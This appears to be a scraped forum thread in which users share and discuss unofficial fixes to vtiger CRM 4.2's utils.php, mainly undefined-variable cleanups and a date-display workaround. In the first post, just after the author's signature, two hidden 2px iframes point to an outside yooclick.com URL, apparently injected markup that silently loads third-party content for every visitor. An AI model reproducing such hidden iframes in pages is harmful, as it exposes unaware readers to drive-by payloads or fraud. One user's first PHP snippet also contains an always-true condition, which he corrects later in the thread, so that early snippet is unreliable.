utils.php fixes (4.2 patch 2)

Here's a fixed up version of utils.php which contains the following:

- Most undefined variable errors fixed
- Most undefined index errors fixed
- Incorrect use of boolean and (&) replaced with logical and (&&)

Even if you're happy running with E_NOTICE errors off, this will speed up your page loads about 10%, and fixes a variable name typo issue in the "New Note" page.

However, this does not fix bug #446 - see my comments in the bug tracker about that one.

Enjoy!

Terry, Scribendi.com <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 14 Comments sorted by Votes Date Added
  • fyi: i know there's some more fixing to do on this. however, i need sleep... so feel free to post a patch to my patch!
  • lots of nice little code clean ups in here. i think expecting a 10% increase in performance is a little optimistic (not that i have any benchmarks to dispute this), but none the less this should clean up a few issues and help prevent future ones.
  • here's the results of a few more hours work on this. it should be fairly robust, and fix nearly all undefined variable errors now. it also includes a couple of function rewrites to use implode() in place of repeated string concatentation and $var = (test) ? a : b; syntax in place of simple cases of if/else.

    each time php throws an error, it wastes a whole load of time, so eliminating about 25% of e_notice errors per page ought to speed things up significantly, but i haven't benchmarked this code.

    i'm going to turn my attention to the whole heap of undefined contast notices in the views next, so feel free to run with this version of utils.php and post further updates here.

    terry, scribendi.com
  • hi terry

    replaced the utils.php with success.

    i can imagine that less errors should have a impact on performance and tried to do a benchmark - but i don't know exactly what to measure... <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->

    so my subjective impression is that there is an improvement.

    thanks,
  • i have two more fixes in this one:

    - i have included the fix by gtyreman - see http://forums.vtiger.com/viewtopic.php?t=3376

    - i have fixed a broken link issue with long email addresses, urls or filenames in list views - the display value is still truncated to 40 characters, but the links are now generated correctly with the full length string.

    - please note the above does not fix an underlying issue with the website field of the account table being a varchar(30). imho this should be increased in the next full vtiger patch.

    if you know of any more fixes for utils.php in 4.2.2 which you would like to see rolled in to this, please pm me.

    terry, scribendi.com
  • ps: thank you to everyone who downloaded and tried the first two versions of my fixes. now that a more recent version is available, i've deleted the previous attachments.
  • great <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d --> <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d --> <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d -->

    markus
  • dear terry,

    i suggest adding the following to util.php to fix the default date error as mentioned in this bug:

    http://bugs.vtiger.com/general.php?action=index&ticketid=733

    i am no coder but i can copy, paste and tweak. here is my (rough) solution:


     if&#40;$disp_value == '0000-00-00'||'00-00-0000'&#41;
                    &#123;
                            $disp_value = '';
                    &#125;
    

    issues: this is not ideal as it fixes the problem after the formating dependant on the users date settings. get a real coder to look into this for the future.

    cheers,

    scott
  • sorry forgot to mention the line of code:

    include/utils.php: line 888 of 4774

    this was edited on your utils.php offered above.

    cheers

    scott
  • please excuse the incorrect code above. i ran into problems with the dates disappearing upon editing <!-- s:cry: --><img src="{smilies_path}/icon_cry.gif" alt=":cry:" title="crying or very sad" /><!-- s:cry: --> . i am using the following code now with some success:
     if&#40;$disp_value == '0000-00-00' || $disp_value == '00-00-0000'&#41;
                    &#123;
                            $disp_value = '';
                    &#125;
    

    i think that my php inexperience is showing through!

    thanks,

    scott
Sign In or Register to comment.